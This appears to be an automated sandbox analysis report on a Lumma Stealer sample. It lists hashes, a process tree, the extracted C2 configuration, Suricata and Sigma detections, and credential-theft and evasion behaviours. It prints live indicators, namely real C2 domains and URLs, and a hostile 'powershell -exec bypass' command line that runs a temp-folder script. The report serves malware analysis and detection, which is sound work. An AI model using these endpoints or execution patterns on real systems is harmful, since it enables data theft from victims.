Edit tour

Windows Analysis Report
4kN17cL4Tn.exe

Overview

General Information

Sample name:	4kN17cL4Tn.exe renamed because original name is a hash value
Original sample name:	c002664469a48ede06c57b592a27b496bfc3cccb75e3fa468d4b3cf562563fc1.exe
Analysis ID:	1589091
MD5:	191294c00be02e5bf0807dc1cf52c53a
SHA1:	5dbfe490dcc65b2107f9bc0461c9e6767463795a
SHA256:	c002664469a48ede06c57b592a27b496bfc3cccb75e3fa468d4b3cf562563fc1
Tags:	exeLummaStealeruser-adrian__luca
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Query firmware table information (likely to detect VMs)

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: Suspicious Script Execution From Temp Folder

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to launch a program with higher privileges

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

HTML page contains hidden javascript code

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Msiexec Initiated Connection

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

4kN17cL4Tn.exe (PID: 7556 cmdline: "C:\Users\user\Desktop\4kN17cL4Tn.exe" MD5: 191294C00BE02E5BF0807DC1CF52C53A)

333.exe (PID: 7636 cmdline: "C:\Users\user~1\AppData\Local\Temp\RarSFX0\333.exe" MD5: CBD9AE608AFDA66BA0D1DF907FEA0EAA)

more.com (PID: 7768 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 7776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 2500 cmdline: C:\Windows\SysWOW64\msiexec.exe MD5: 9D09DC1EDA745A5F87553048E57620CF)

OX7I8331HPIJ7S9YM876UXZCAF9K.exe (PID: 564 cmdline: "C:\Users\user~1\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe" MD5: C57C4C4820D5161E30295446E163A41F)

powershell.exe (PID: 1588 cmdline: powershell -exec bypass -f "C:\Users\user~1\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 7872 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.com/15PRC4 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 8132 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2220,i,87033959644632370,6351564525207950416,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1660 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3640 --field-trial-handle=2220,i,87033959644632370,6351564525207950416,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": "https://sputnik-1985.com/api", "Build Version": "Dvh8ui--333"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000E.00000003.1599080465.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.1599280706.0000000002C8C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: msiexec.exe PID: 2500	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: msiexec.exe PID: 2500	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass -f "C:\Users\user~1\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1", CommandLine: powershell -exec bypass -f "C:\Users\user~1\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\SysWOW64\msiexec.exe, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 2500, ParentProcessName: msiexec.exe, ProcessCommandLine: powershell -exec bypass -f "C:\Users\user~1\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1", ProcessId: 1588, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -exec bypass -f "C:\Users\user~1\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1", CommandLine: powershell -exec bypass -f "C:\Users\user~1\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\SysWOW64\msiexec.exe, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 2500, ParentProcessName: msiexec.exe, ProcessCommandLine: powershell -exec bypass -f "C:\Users\user~1\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1", ProcessId: 1588, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -exec bypass -f "C:\Users\user~1\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1", CommandLine: powershell -exec bypass -f "C:\Users\user~1\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\SysWOW64\msiexec.exe, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 2500, ParentProcessName: msiexec.exe, ProcessCommandLine: powershell -exec bypass -f "C:\Users\user~1\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1", ProcessId: 1588, ProcessName: powershell.exe

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 104.102.49.254, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 2500, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49839

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\RarSFX0\333.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\RarSFX0\333.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe, ParentCommandLine: "C:\Users\user\Desktop\4kN17cL4Tn.exe", ParentImage: C:\Users\user\Desktop\4kN17cL4Tn.exe, ParentProcessId: 7556, ParentProcessName: 4kN17cL4Tn.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\RarSFX0\333.exe" , ProcessId: 7636, ProcessName: 333.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass -f "C:\Users\user~1\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1", CommandLine: powershell -exec bypass -f "C:\Users\user~1\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\SysWOW64\msiexec.exe, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 2500, ParentProcessName: msiexec.exe, ProcessCommandLine: powershell -exec bypass -f "C:\Users\user~1\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1", ProcessId: 1588, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:19.347290+0100	2028371	3	Unknown Traffic	192.168.2.7	49839	104.102.49.254	443	TCP
2025-01-11T09:26:20.461674+0100	2028371	3	Unknown Traffic	192.168.2.7	49850	104.21.96.1	443	TCP
2025-01-11T09:26:21.468700+0100	2028371	3	Unknown Traffic	192.168.2.7	49857	104.21.96.1	443	TCP
2025-01-11T09:26:22.753088+0100	2028371	3	Unknown Traffic	192.168.2.7	49866	104.21.96.1	443	TCP
2025-01-11T09:26:24.122779+0100	2028371	3	Unknown Traffic	192.168.2.7	49876	104.21.96.1	443	TCP
2025-01-11T09:26:25.458894+0100	2028371	3	Unknown Traffic	192.168.2.7	49887	104.21.96.1	443	TCP
2025-01-11T09:26:27.373316+0100	2028371	3	Unknown Traffic	192.168.2.7	49900	104.21.96.1	443	TCP
2025-01-11T09:26:29.022482+0100	2028371	3	Unknown Traffic	192.168.2.7	49913	104.21.96.1	443	TCP
2025-01-11T09:26:31.710043+0100	2028371	3	Unknown Traffic	192.168.2.7	49930	104.21.96.1	443	TCP
2025-01-11T09:26:32.975233+0100	2028371	3	Unknown Traffic	192.168.2.7	49941	85.239.54.77	443	TCP
2025-01-11T09:26:53.070132+0100	2028371	3	Unknown Traffic	192.168.2.7	50019	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:20.868657+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49850	104.21.96.1	443	TCP
2025-01-11T09:26:22.026681+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49857	104.21.96.1	443	TCP
2025-01-11T09:26:32.162697+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49930	104.21.96.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:20.868657+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49850	104.21.96.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:22.026681+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49857	104.21.96.1	443	TCP

ET MALWARE Observed DNS Query to Lumma Stealer Domain (3xp3cts1aim .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:18.670989+0100	2057695	1	A Network Trojan was detected	192.168.2.7	61593	1.1.1.1	53	UDP

ET MALWARE Observed DNS Query to Lumma Stealer Domain (p3ar11fter .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:18.681316+0100	2057698	1	A Network Trojan was detected	192.168.2.7	50900	1.1.1.1	53	UDP

ET MALWARE Observed DNS Query to Lumma Stealer Domain (peepburry828 .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:18.650573+0100	2057696	1	A Network Trojan was detected	192.168.2.7	57767	1.1.1.1	53	UDP

ET MALWARE Observed DNS Query to Lumma Stealer Domain (processhol .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:18.605831+0100	2057697	1	A Network Trojan was detected	192.168.2.7	58009	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (3xp3cts1aim .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:18.670989+0100	2057652	1	Domain Observed Used for C2 Detected	192.168.2.7	61593	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (befall-sm0ker .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:18.628314+0100	2057654	1	Domain Observed Used for C2 Detected	192.168.2.7	53470	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (librari-night .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:18.618064+0100	2057658	1	Domain Observed Used for C2 Detected	192.168.2.7	64785	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (owner-vacat10n .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:18.660162+0100	2057660	1	Domain Observed Used for C2 Detected	192.168.2.7	53118	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p10tgrace .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:18.639049+0100	2057662	1	Domain Observed Used for C2 Detected	192.168.2.7	63976	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p3ar11fter .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:18.681316+0100	2057664	1	Domain Observed Used for C2 Detected	192.168.2.7	50900	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (peepburry828 .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:18.650573+0100	2057666	1	Domain Observed Used for C2 Detected	192.168.2.7	57767	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (processhol .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:18.605831+0100	2057668	1	Domain Observed Used for C2 Detected	192.168.2.7	58009	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:29.028785+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49913	104.21.96.1	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:26:19.853129+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	49839	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://sputnik-1985.com/~	Avira URL Cloud: Label: malware
Source: https://sputnik-1985.com/apies	Avira URL Cloud: Label: malware
Source: https://sputnik-1985.com/apioAeW	Avira URL Cloud: Label: malware
Source: https://sputnik-1985.com/api(w	Avira URL Cloud: Label: malware
Source: https://sputnik-1985.com/apics3	Avira URL Cloud: Label: malware

Found malware configuration

Source: msiexec.exe.2500.14.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": "https://sputnik-1985.com/api", "Build Version": "Dvh8ui--333"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	ReversingLabs: Detection: 62%
Source: C:\Users\user\AppData\Local\Temp\wlfdmdt	ReversingLabs: Detection: 79%

Multi AV Scanner detection for submitted file

Source: 4kN17cL4Tn.exe	ReversingLabs: Detection: 52%
Source: 4kN17cL4Tn.exe	Virustotal: Detection: 65%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\wlfdmdt

Joe Sandbox ML: detected

Source: msiexec.exe, 0000000E.00000003.1852273010.0000000006887000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_e03e9b83-9

Source: https://iplogger.com/15PRC4

HTTP Parser: Base64 decoded: <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="none"><path fill="#B20F03" d="M16 3a13 13 0 1 0 13 13A13.015 13.015 0 0 0 16 3m0 24a11 11 0 1 1 11-11 11.01 11.01 0 0 1-11 11"/><path fill="#B20F03" d="M17.038 18.615H14.87L14.563 9.5h2....

Source: https://iplogger.com/15PRC4	HTTP Parser: No favicon
Source: https://iplogger.com/15PRC4	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 85.239.54.77:443 -> 192.168.2.7:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50019 version: TLS 1.2

Source: 4kN17cL4Tn.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: wntdll.pdbUGP source: 333.exe, 00000005.00000002.1322980454.0000000034A59000.00000004.00000800.00020000.00000000.sdmp, 333.exe, 00000005.00000002.1323766793.0000000035701000.00000004.00000001.00020000.00000000.sdmp, 333.exe, 00000005.00000002.1323468847.0000000035350000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000007.00000002.1515387031.000000000424C000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.1515545916.00000000045A0000.00000004.00001000.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1896547323.0000000006FB0000.00000004.00000800.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1896379375.0000000006C5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 333.exe, 00000005.00000002.1322980454.0000000034A59000.00000004.00000800.00020000.00000000.sdmp, 333.exe, 00000005.00000002.1323766793.0000000035701000.00000004.00000001.00020000.00000000.sdmp, 333.exe, 00000005.00000002.1323468847.0000000035350000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000007.00000002.1515387031.000000000424C000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.1515545916.00000000045A0000.00000004.00001000.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1896547323.0000000006FB0000.00000004.00000800.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1896379375.0000000006C5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxzip64\Release\sfxzip.pdb source: 4kN17cL4Tn.exe, 00000003.00000000.1279030060.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmp, 4kN17cL4Tn.exe, 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: mspatcha.pdb source: more.com, 00000007.00000002.1515765988.0000000004B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mspatcha.pdbGCTL source: more.com, 00000007.00000002.1515765988.0000000004B50000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67DECE0 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	3_2_00007FF7B67DECE0
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67C647C FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	3_2_00007FF7B67C647C
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67F3130 FindFirstFileExA,	3_2_00007FF7B67F3130

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057658 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (librari-night .sbs) : 192.168.2.7:64785 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057654 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (befall-sm0ker .sbs) : 192.168.2.7:53470 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057664 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p3ar11fter .sbs) : 192.168.2.7:50900 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057698 - Severity 1 - ET MALWARE Observed DNS Query to Lumma Stealer Domain (p3ar11fter .sbs) : 192.168.2.7:50900 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057666 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (peepburry828 .sbs) : 192.168.2.7:57767 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057696 - Severity 1 - ET MALWARE Observed DNS Query to Lumma Stealer Domain (peepburry828 .sbs) : 192.168.2.7:57767 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057652 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (3xp3cts1aim .sbs) : 192.168.2.7:61593 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057695 - Severity 1 - ET MALWARE Observed DNS Query to Lumma Stealer Domain (3xp3cts1aim .sbs) : 192.168.2.7:61593 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057660 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (owner-vacat10n .sbs) : 192.168.2.7:53118 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057668 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (processhol .sbs) : 192.168.2.7:58009 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057697 - Severity 1 - ET MALWARE Observed DNS Query to Lumma Stealer Domain (processhol .sbs) : 192.168.2.7:58009 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057662 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p10tgrace .sbs) : 192.168.2.7:63976 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:49839 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49857 -> 104.21.96.1:443
